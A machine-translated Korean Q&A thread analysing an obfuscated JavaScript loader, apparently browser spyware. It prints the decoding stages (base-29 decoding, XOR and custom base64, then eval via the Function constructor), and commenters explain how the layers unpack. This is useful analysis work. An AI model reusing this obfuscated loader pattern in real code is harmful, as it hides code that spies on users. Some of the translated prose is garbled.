을 그것은이다 답변보다 더 많은 코멘트가 있지만 여기에 대한 코멘트가 길기 때문에 여기에 is :
(function (paramA, paramB, paramC, paramD) {
someVar = "";
try {
paramB = paramB.replace(/[^A-Z0-9]+/gi, ""), paramB = paramB.split([]), someVar = document;
return
} catch (e) {
for (i = 0; i < paramB.length; i += 2)
someVar += String.fromCharCode(paramA(paramB[i] + paramB[i + 1], 29));
String.fromCharCode.constructor(someVar)(paramC, paramD)
}
})(parseInt, string1, string2, string3)
첫 번째보기 단계는 텍스트를 변경하고 하나의 큰 문자 배열을 만듭니다. 예외가 throw되기 때문에 우리는 계속 반복합니다. 루프는 parseInt를 통해 새로운 문자열을 생성합니다. 배열에서 하나의 char과 다음 char을 가져 와서 기본 29 숫자를 만듭니다.
라인 String.fromCharCode.constructor (someVar) (paramC, paramD);
은 까다 롭습니다. someVar는 JS 코드를 포함하는 문자열이며 constructor 함수로 paramC 및 paramD로 호출되는 익명의 함수를 생성합니다. 그런
코드 생성 외모 :
kPxRViGad8nHNstI$BVr8Lf="";(function(rycgnpqpq,rycgyjqpq,rycggoqpq,rycglpqpq){rycgnpqpq=rycglpqpq(rycgnpqpq),rycgyjqpq=rycglpqpq(rycgyjqpq);try{eval(rycggoqpq("5eb9485dd4a658f8bf9318976cd9832392d4904d",rycgyjqpq))}catch(rycgbsqpq){}})(arguments[0],arguments[1],function(rycgxhqpq,rycgmfqpq){rycgniqpq="";for(rycgqdqpq=0;rycgqdqpq<rycgmfqpq.length;rycgqdqpq++)rycgniqpq+=String.fromCharCode(rycgxhqpq.charCodeAt(rycgqdqpq%rycgxhqpq.length)^rycgmfqpq.charCodeAt(rycgqdqpq));return rycgniqpq},function(rycgunqpq){rycgfyqpq={},rycgunqpq=rycgunqpq.replace(/[^+A-Z0-9\/]+/gi,""),rycguwqpq="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz/=";for(rycgowqpq=0,rycggdqpq=rycguwqpq.length;rycgowqpq<rycggdqpq;rycgowqpq++)rycgfyqpq[rycguwqpq.charAt(rycgowqpq)]=rycgowqpq;rycgdzqpq=[];for(rycgorqpq=0,rycgrfqpq=rycgunqpq.length;rycgorqpq<rycgrfqpq;rycgorqpq+=4)rycguuqpq=(rycgfyqpq[rycgunqpq.charAt(rycgorqpq)]||0)<<18|(rycgfyqpq[rycgunqpq.charAt(1+rycgorqpq)]||0)<<12|(rycgfyqpq[rycgunqpq.charAt(rycgorqpq+2)]||0)<<6|(rycgfyqpq[rycgunqpq.charAt(3+rycgorqpq)]||0),rycgdzqpq.push(rycguuqpq>>16,rycguuqpq>>8&255,rycguuqpq&255);return rycgdzqpq.length-=[0,0,2,1][rycgunqpq.length%4],String.fromCharCode.apply(String,rycgdzqpq)});
이 여러 중첩 된 기능입니다. 그것은 궁극적으로 매우 큰 스크립트를 생성하고 평가 내에서 실행합니다. 아주 난독 등
homepage_is_newtabpage, last_prompted_google_url, 유래, 페이스 북과 같은 문자열을 포함하고 있기 때문에 세 번째 스크립트는 일부 스파이 스크립트처럼 보인다. 나는 그것을 통과 할 시간이 없지만, 어떤 코드를 eval()하는 것으로 보인다. –
@ JoeSimmons 당신 말이 맞아요. 첫 번째 실행에서 생성 된 코드에는 eval 함수가 포함되어 있습니다. – schlingel